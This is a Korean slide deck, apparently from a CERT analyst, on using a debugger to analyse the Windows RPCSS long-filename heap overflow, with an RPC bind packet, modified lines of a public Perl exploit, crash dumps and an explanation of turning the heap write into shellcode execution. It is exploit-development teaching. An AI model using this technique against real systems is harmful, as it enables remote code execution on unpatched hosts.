Download presentation
Presentation is loading. Please wait.
1
디버거를 이용한 소프트웨어 오류 진단 시큐아이닷컴 CERT 오정욱 mat@monkey.org
2
Fuzz vs. Reverse Engineering 대부분 소스가 제공되지 않는 소프트웨어의 오류 는 Fuzz 테스트를 통해서 이루어진다. SPIKE 등의 Fuzz 테스트용 도구들이 존재한다. 리버스 엔지니어링을 통한 버그 발견은 엄청난 투 자에 비해 효과가 적다.
3
리버스 엔지니어링의 위치 리버스 엔지니어링은 실제 버그를 발견하는 데 에 활용 되기 힘들다. Fuzz 테스트 이후의 실제 exploiting 을 위한 코 드 분석에 활용한다. 리버스 엔지니어링을 제대로 하지 못하 면 exploit 코드 작성은 불가능하다. Fuzz 테스트가 특별한 기술을 요하지 않는 데 에 반해 더 전문적인 지식을 요구한다.
4
예제 Microsoft Windows RPCSS Long Filename Hea p Overflow 최근 RPC 와 DCOM 부분에서 많은 버그들이 리포 팅 되고 있다
5
버그를 찾는 방법 이 버그를 찾은 방법은 아마도 Fuzz 테스트였 을 것이다. 먼저 정상적인 RPCSS 패킷을 모니터링 한후 해당 패킷 포맷을 분석하고 패킷의 가변적인 부분의 길이를 달리하면서 버퍼 오버 플로우 등의 버그를 테스트한다. 이러한 방법으로 윈도우즈 계열에서 리포팅 된 주 요한 버그들을 실제로 찾을 수 있다.
6
사용한 exploit 예제 exploit 은 H D Moore 의 dcom2_closer.pl 이 라는 exploit 으로 한글판에 대해서는 명령 실행까 지는 되지 않고 크래쉬만 시킨다.
7
RPC Bind 패킷 05 //version 00 //Version(Minor) 0b //Packet Type(Bind) 03 //Packet Flags 10 00 00 00 //Data Representation 48 00 //Flag Length 00 00 //Auth Length 7f 00 00 00 //Call ID d0 16 d0 16 //Alloc Hint 00 00 //Context ID 00 00 //Opnum 01 ff //max_tsize 00 00 //max_rsize 01 00 01 00 //assoc_gid a0 01 00 00 //num_elements 00 00 //context_id 00 00 //num_syntaxes c0 00 00 00 - 00 00 - 00 46 - 00 00 00 00 04 5d 88 8a //abstract RUUID eb 1c c9 11 9f e8 08 00 2b 10 48 60 02 00 00 00...
8
디버깅 대상 확인 먼저 RPC Bind 패킷을 분 석하면 abstract RUUID 가 있다. 이 RUUID 로 어 떠한 Object 나 Interface 에 바인딩하는지 알 수 있 다. OLE Viewer 로 대상 확인 이 가능하다.
9
코드 수정 테스트를 위해서 다음과 같이 코드를 수정하여 테스트한다. my $shellcode = ("\x90" x 3500); substr($shellcode, 0, 512, $payload); # the actual payload #substr($shellcode, 534, 4, pack("L", 0x22eb22eb)); # trigger except ion dereferencing and jmp short 36 substr($shellcode, 534, 4, pack("L", 0xBBBBBBBB)); # trigger excep tion dereferencing and jmp short 36 #substr($shellcode, 538, 4, pack("L", 0x7c54144c)); # overwrite the exception handler with shellcode location substr($shellcode, 538, 4, pack("L", 0xAAAAAAAA)); # overwrite the exception handler with shellcode location
10
첫번째 크래쉬 스택의 내용을 덤프한다. :stack FrameEBP RetEIP Symbol 00CEF770 76136D2E NTDLL!PAGE+0850 00CEF7CC 7613B7FF rpcss!.text+00015D2E 00CEF814 76149726 rpcss!.text+0001A7FF 00CEF908 78737F50 rpcss!.text+00028726 00CEF934 78755AD7 rpcrt4!.text+00046F50 00CEFD48 7875547E rpcrt4!.orpc+6AD7 00CEFD64 78712116 rpcrt4!.orpc+647E 00CEFD9C 786F7EE1 rpcrt4!.text+00021116 00CEFDF4 786F7DB5 rpcrt4!.text+6EE1 00CEFE14 78706E98 rpcrt4!.text+6DB5 00CEFE44 787070A8 rpcrt4!.text+00015E98 00CEFE58 78706A03 rpcrt4!.text+000160A8 00CEFE90 78706295 rpcrt4!.text+00015A03 00099D28 89ABCDEF rpcrt4!.text+00015295
11
map32 섹션 테이블을 덤프한다. 가끔 바이너리의 베이스 주소와 실제 할당된 베이스 주소가 다른 경우가 있으므로 이를 확인하기 위해서이다. 만약 두 주소가 다르다면 디스어세블러와 디버거 사이에서 주소를 적절 히 계산해서 사용해야 한다. :map32 rpcrt4 Owner Obj Name Obj# Address Size Type rpcrt4.text 0001 001B:786F1000 0005D1A6 CODE RO rpcrt4.orpc 0002 001B:7874F000 00007418 CODE RO rpcrt4.data 0003 0023:78757000 000012C0 IDATA RW rpcrt4.rsrc 0004 0023:78759000 000003E0 IDATA RO rpcrt4.reloc 0005 0023:7875A000 00003DCE IDATA RO
12
U eip 현재 실행 위치 디스어셈블 :u eip 001B:77FCB850 MOV [EDX],ECX DS:AAAAAAAA=FFFFFFFF 001B:77FCB852 MOV [EAX+04],ECX 001B:77FCB855 PUSH ESI 001B:77FCB856 MOV ESI,[EBP-34] 001B:77FCB859 PUSH ESI 001B:77FCB85A CALL 77F835A9 001B:77FCB85F MOV EAX,[EBP-30] 001B:77FCB862 ADD [ESI+28],EAX
13
r -d 레지스터를 덤프한다. :r -d CS:EIP=001B:77FCB850 SS:ESP=0023:00CEF6E0 EAX=000A2410 EBX=00070178 ECX=000B2FD8 EDX=AAAAAAAA ESI=000B2FD0 EDI=00070000 EBP=00CEF770 EFL=00000207 DS=0023 ES=0023 FS=0038 GS=0000
14
프로그램 크래쉬 다음과 같이 프로그램이 크래쉬 되었다.
15
디버거 메시지 윈도우 보다 더 자세한 메시지를 출력해 준다. Unhandled Exception hit in svchost.exe (Win32StartAddress: 78701C55) C:\WINNT\system32\svchost -k rpcss first, enter !exr 00CEF3F8 for the exception record next, enter !cxr 00CEF414 for the context then !kb to get the faulting stack
16
Ida 를 사용한 디스어셈블
17
두번째 크래쉬 Break due to UnhandledException NTSTATUS=STATUS_ACCESS_VIOLATION 001B:77FCB3F5 MOV [ECX],EAX DS:AAAAAAAA=FFFFFFFF
18
stack :stack FrameEBP RetEIP Symbol 0129FE08 7870FB19 NTDLL!PAGE+03F5 0129FE34 787174F9 rpcrt4!.text+0001EB19 0129FF74 78716D5E rpcrt4!.text+000264F9 0129FFA8 78701C6D rpcrt4!.text+00025D5E 0129FFB4 77E587DD rpcrt4!.text+00010C6D 0129FFEC 00000000 KERNEL32!GetModuleFileNameA+01D1
19
u eip :u eip 001B:77FCB3F5 MOV [ECX],EAX DS:AAAAAAAA=FFFFFFFF 001B:77FCB3F7 MOV [EAX+04],ECX 001B:77FCB3FA MOV AL,[ESI+05] 001B:77FCB3FD MOV [EBP-3C],AL 001B:77FCB400 MOVZX EDX,WORD PTR [ESI] 001B:77FCB403 MOV ECX,[EBP-5C] 001B:77FCB406 SUB [ECX+28],EDX 001B:77FCB409 MOV [EBP-28],ESI
20
r -d :r -d CS:EIP=001B:77FCB3F5 SS:ESP=0023:0129FC70 EAX=BBBBBBBB EBX=00000028 ECX=AAAAAAAA EDX=000A2408 ESI=000A2408 EDI=00070000 EBP=0129FE08 EFL=00000246 DS=0023 ES=0023 FS=0038 GS=0000
21
프로그램 크래쉬 다음과 같이 프로그램이 크래쉬 되었다.
22
디버거 메시지 Unhandled Exception hit in svchost.exe (Win32StartAddress: 00000CEB) C:\WINNT\system32\svchost -k rpcss first, enter !exr 0129F988 for the exception record next, enter !cxr 0129F9A4 for the context then !kb to get the faulting stack
23
Ida 를 사용한 디스어셈블
24
데이타 쓰기 두번째 에러 발생시 [ECX] 에 EAX 의 값을 넣게 된 다. 즉 AAAAAAAA 의 메모리 주소에 BBBBBBBB 이라는 값을 쓰게 된다. AAAAAAAA 를 익셉션 핸들러등의 주소로 주고 BBBBBBBB 를 쉘코드의 주소로 주면 원하 는 쉘코드의 실행이 가능해지게 된다.
25
힙메모리의 구조 테스트 프로그램 // test_mem.cpp : Defines the entry point for the console application. // #include "stdafx.h" #include int main(int argc, char* argv[]) { printf("Hello World!\n"); char *x; x=(char *)malloc(20); return 0; }
26
실행 결과 x=(char *)malloc(20); x=0x00341000 00340FF0 14 00 00 00 /01 00 00 00 /32 00 00 00 /FD FD FD FD........2... 羲羲 00341000 CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD 袴袴袴袴袴袴袴袴 00341010 CD CD CD CD FD FD FD FD 0D F0 AD BA 0D F0 AD BA 袴袴羲羲. 濟.. 濟. 00341020 AB AB AB AB AB AB AB AB 00 00 00 00 00 00 00 00 カカカカ........ 00341030 49 00 0B 00 00 04 EE FE C0 03 34 00 C0 03 34 00 I..... 澱..4...4.
27
해당 메모리 블록 덤프
28
이전 메모리 블록 추적
Similar presentations